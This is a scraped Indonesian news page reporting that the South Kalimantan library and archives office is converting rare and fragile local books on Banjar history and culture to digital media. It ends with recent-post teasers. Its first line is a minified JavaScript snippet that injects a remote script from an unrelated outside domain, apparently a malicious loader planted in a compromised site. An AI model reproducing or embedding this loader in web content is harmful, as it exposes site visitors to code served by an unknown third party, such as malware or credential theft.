(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Pelestarian Bahan Pustaka, Dispersip Kalsel Alih Media dari Cetak ke Digital


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan menerapkan alih media pelestarian bahan pustaka. Selain melakukan pemeliharaan, perawatan, pengawetan, dan perbaikan.

Hal itu dilakukan Dispersip Kalsel pada bahan pustaka yang bernilai sejarah, seperti naskah kuno, buku langka, atau bahan pustaka yang memiliki kondisi fisik yang sudah rapuh dan tua.

“Alih media digital adalah salah satu kegiatan melestarikan bahan pustaka khazanah budaya bangsa, dengan mengalih bentuk dari bentuk asli ke bentuk media digital,” ungkap Kepala Dispersip Kalsel Dra Hj Nurliani Dardie melalui Kabid Pelayanan dan Pembinaan Wildan Akhyar, Jumat (18/2/2022).

Kabid Pelayanan dan Pembinaan menjelaskan, koleksi perpustakaan yang berbentuk cetak dari kertas, tidaklah dapat bertahan lama seiring dengan bertambahnya usia fisik. Sehingga menyebabkan kerusakan dari segi fisiknya baik akibat faktor internal maupun eksternal.

 

 

Baca juga: Vaksinasi Booster Dimulai, Bupati Banjar Suntik Dosis Ketiga

“Hal itu dilakukan seksi deposit, dipilih buku-buku bermuatan lokal. Seperti buku-buku sejarah Banjar, adat istiadat Banjar, kebudayaan Banjar, kesenian Banjar, dan hal-hal yang berhubungan dengan tradisi orang Banjar, tradisi turun-temurun masyarakat, apalagi buku-buku langka dan sudah tua usianya,” beber Wildan.

Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan menerapkan alih media pelestarian bahan pustaka. Foto: dispersipkalsel  

Selain sebagai upaya pelestarian koleksi yang bernilai historis, alih media digital juga sebagai upaya penyelamatan informasi yang terkandung di dalam bahan pustaka. Agar bisa terus dimanfaatkan oleh masyarakat dan generasi penerus.

“Khusus koleksi buku-buku itu, para pemustaka tidak diperkenankan untuk membawa pulang, hanya boleh dibaca di tempat,” tegas Wildan.

Dispersip Kalsel menargetkan dapat melakukan alih media digital sebanyak 50 judul, yang saat ini telah berjumlah ratusan, terkumpul dari tahun demi tahun berbentuk DVD.

Baca juga: “Jalan Bubur” Kini Sudah Mulus, Warga LUS Malah Takut Nyeberang

Pemeliharaan tersebut, jelas Wildan, juga sebagai pelaksanaan Undang-Undang Nomor 43 Tahun 2007 tentang Perpustakaan, dan UU Nomor 13 Tahun 2018 tentang serah simpan karya cetak dan karya rekam. (Kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Risa

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

5 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

6 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

7 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.